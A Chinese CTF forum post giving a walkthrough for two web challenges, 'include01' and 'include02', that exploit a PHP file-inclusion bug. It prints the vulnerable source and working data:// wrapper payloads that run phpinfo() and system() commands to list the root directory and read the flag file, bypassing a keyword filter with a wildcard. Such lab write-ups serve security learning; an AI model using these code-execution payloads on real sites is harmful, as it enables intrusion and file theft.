设为首页
收藏本站
只需一步,快速开始
首页
Portal
论坛
BBS
问答
CTF社群
Group
CTF平台
每日签到
青少年CTF论坛
»
论坛
›
CTF
›
Web
›
查看内容
0 评论
0 收藏
分享
include01-02 --WP
虾虾一米六
发布于 2023-3-17 22:51:30
阅读 1829
查看全部
来自
江苏
# include01 ```php <?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hack!!!"; } } else { highlight_file(__FILE__); } ?> <hr> 你能否获取Flag?<br> <a href="hello.php">hello</a> 你能否获取Flag? hello ``` 打开题目发现是个文件包含的题目 我们使用伪协议来读取flag,可以打开phpinfo()来得到flag,也可以使用查看文件来得到flag。 ![](./data/attachment/forum/202303/17/225039ic525el2bc43eck4.png) 这个是查看phpinfo来拿到flag /?file=data://text/plain,<?php phpinfo();?> 下面是使用查看文件来得到flag的 ![](./data/attachment/forum/202303/17/225046ibb6afm6i1mpybvb.png) /?file=data://text/plain,<?php system("ls /")?> ![](./data/attachment/forum/202303/17/225102nktkazzf058tt82n.png) /?file=data://text/plain,<?php system("cat /f*")?> 因为在源码中可以看到过滤了flag所以需要使用f*来查看。 成功拿到flag # include02 这个题我们同样可以使用上面的办法来获取flag ![](./data/attachment/forum/202303/17/225111qrusivjmzmi7dbbu.png) /check.php?file=data://text/plain,<?php system("ls /")?> 先查看根目录下的文件看到有flag,直接查看 ![](./data/attachment/forum/202303/17/225117dtyllt6tp6y7lhyy.png) 得到flag /check.php?file=data://text/plain,<?php system("cat /f*")?> 同样也可以打开phpinfo()来获取flag ![](./data/attachment/forum/202303/17/225123n11o4p23c5o44i5d.png) /check.php?file=data://text/plain,<?php phpinfo();?>
回复
举报
使用道具
分享
提升卡
置顶卡
沉默卡
喧嚣卡
变色卡
千斤顶
照妖镜
上一篇:
eval--WP
下一篇:
signin--WP
全部回复
暂无回帖,快来参与回复吧
返回列表
发新帖
本版积分规则
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
虾虾一米六
注册会员
主题
11
回复
2
粉丝
0
加好友
发私信
热点排行
1
题目:再签到一次
2
【新平台】回复换FLAG啦!
3
【活动】你知道小光的答案吗?
4
【活动】小光的答案之书
5
LiHua's checkme WP
6
入门需要怎么做?
7
取证-SSH-04
8
misc中怎么分辨各工具加密后的数据
9
sqlmap连接不到目标RUL
10
因为是一个小白,有一道题不会 请各位大佬 出手帮一下 misc的
快速回复
返回顶部
返回列表